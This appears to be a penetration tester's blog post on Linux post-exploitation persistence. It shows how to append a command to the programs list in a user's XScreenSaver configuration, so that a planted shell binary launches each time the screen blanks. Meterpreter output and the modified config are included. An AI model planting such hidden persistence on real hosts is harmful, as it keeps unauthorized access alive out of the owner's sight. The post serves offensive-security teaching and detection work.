After successfully gaining remote access to a host, acquiring some form of persistence is usually on the cards in case of network problems, system reboots etc. There are many ways to do this but one way I discovered recently, I thought was quite discreet in comparison to other methods (editing shell rc files, crontabs etc.).

The method I came across was to modify the configuration file of XScreenSaver, a very common screensaver package for Linux, to execute a shell. [mis]Using XScreenSaver offers a couple of benefits:

  • Users will rarely edit this file, meaning there is less chance of the shell being noticed
  • The screen is almost guaranteed to blank on a regular basis, resulting in the shell executing

To demonstrate this, I have setup a Ubuntu 18.10 host running XScreenSaver 5.42 and have a remote shell to it.

Identifying XScreenSaver Presence & Configuration

To determine if XScreenSaver is installed, The configuration file for XScreenSaver can be found in a user’s home directory and is named .xscreensaver:

meterpreter > ls -S xscreensaver
Listing: /home/rastating
========================

Mode              Size  Type  Last modified              Name
----              ----  ----  -------------              ----
100664/rw-rw-r--  8804  fil   2019-03-07 21:49:13 +0000  .xscreensaver

If the configuration file is missing, it does not mean that XScreenSaver is not available, but that the user has not configured their screensaver preferences. In which case, you can create a fresh configuration file and drop it in place.

As there are packages readily available to install it, it is possible to use the system’s package manager to verify if it is installed. For example, in Debian / Ubuntu, you can use dpkg to verify:

$ dpkg -s xscreensaver | grep -i status
Status: install ok installed

If it has been built from source, the presence of the following binaries would also suggest it is installed:

  • xscreensaver
  • xscreensaver-command
  • xscreensaver-demo
  • xscreensaver-getimage
  • xscreensaver-getimage-file
  • xscreensaver-getimage-video
  • xscreensaver-gl-helper
  • xscreensaver-text

In this case, I had selected a screensaver to use and thus the configuration file existed. Examining the configuration file reveal three key pieces of information:

  • The timeout value: how long the session must remain inactive before the screensaver is displayed
  • The mode: whether or not a single screensaver is used, or whether random screensavers are chosen each time
  • The selected screensaver

As can be seen in the below snippet of the configuration file, the timeout value is set to 0:01:00, meaning the screensaver will run after one minute of inactivity:

# XScreenSaver Preferences File
# Written by xscreensaver-demo 5.42 for rastating on Thu Mar  7 21:49:13 2019.
# https://www.jwz.org/xscreensaver/

timeout:        0:01:00
cycle:          0:10:00
lock:           False
lockTimeout:    0:00:00
passwdTimeout:  0:00:30

Moving a bit further down the file, we can see the mode setting is one which indicates that a single screensaver has been selected. We can also see the selected setting, which indicates the selected screensaver is the one found at index position 2 of the programs array. As the array starts at 0, this means that in this instance, the attraction screensaver has been selected:

mode:         one
selected:     2

textMode:     url
textLiteral:  XScreenSaver
textFile:
textProgram:  fortune
textURL:      http://feeds.feedburner.com/ubuntu-news

programs:                                                   \
              maze -root                                  \n\
- GL:         superquadrics -root                         \n\
              attraction -root                            \n\
              blitspin -root                              \n\
              greynetic -root                             \n\

Adding a Shell To The Configuration File

Looking at the programs array of the configuration file, you may have figured out that these strings aren’t just the names of the screensavers that are available, but the base commands that will be executed. In XScreenSaver, each screensaver is a separate binary that when executed will display the fullscreen screensaver.

In the configuration previously shown, when the screen blanks, it would shell out the command:

/usr/lib/xscreensaver/attraction -root

With this in mind, we can inject a command at the end of the base command in order to launch our shell alongside the screensaver. As I had a shell located in /home/rastating/.local/share/shell.elf, I modified the .xscreensaver to launch this. The previous snippet of the configuration file now looks like this:

mode:         one
selected:     2

textMode:     url
textLiteral:  XScreenSaver
textFile:
textProgram:  fortune
textURL:      http://feeds.feedburner.com/ubuntu-news

programs:                                                   \
              maze -root                                  \n\
- GL:         superquadrics -root                         \n\
              attraction -root |                            \
               (/home/rastating/.local/share/shell.elf&)  \n\
              blitspin -root                              \n\
              greynetic -root                             \n\

There are two things to note with this change. The first is that the \n\ that was at the end of the attraction line has been replaced with a single backslash. This indicates that the string is continuing onto a second line. The \n is the delimiter, and thus only appears at the end of the full command.

The second thing to note is the use of | and &, the shell is called in this way to ensure that it is launched alongside the attraction binary and that it does not halt execution by forking it into the background.

Once this change is made, XScreenSaver will automatically pick up the change, as per The Manual:

If you change a setting in the .xscreensaver file while xscreensaver is already running, it will notice this, and reload the file. (The file will be reloaded the next time the screen saver needs to take some action, such as blanking or unblanking the screen, or picking a new graphics mode.)

With this change in place, the shell will now be executed alongside the screensaver binary as can be seen in the video below: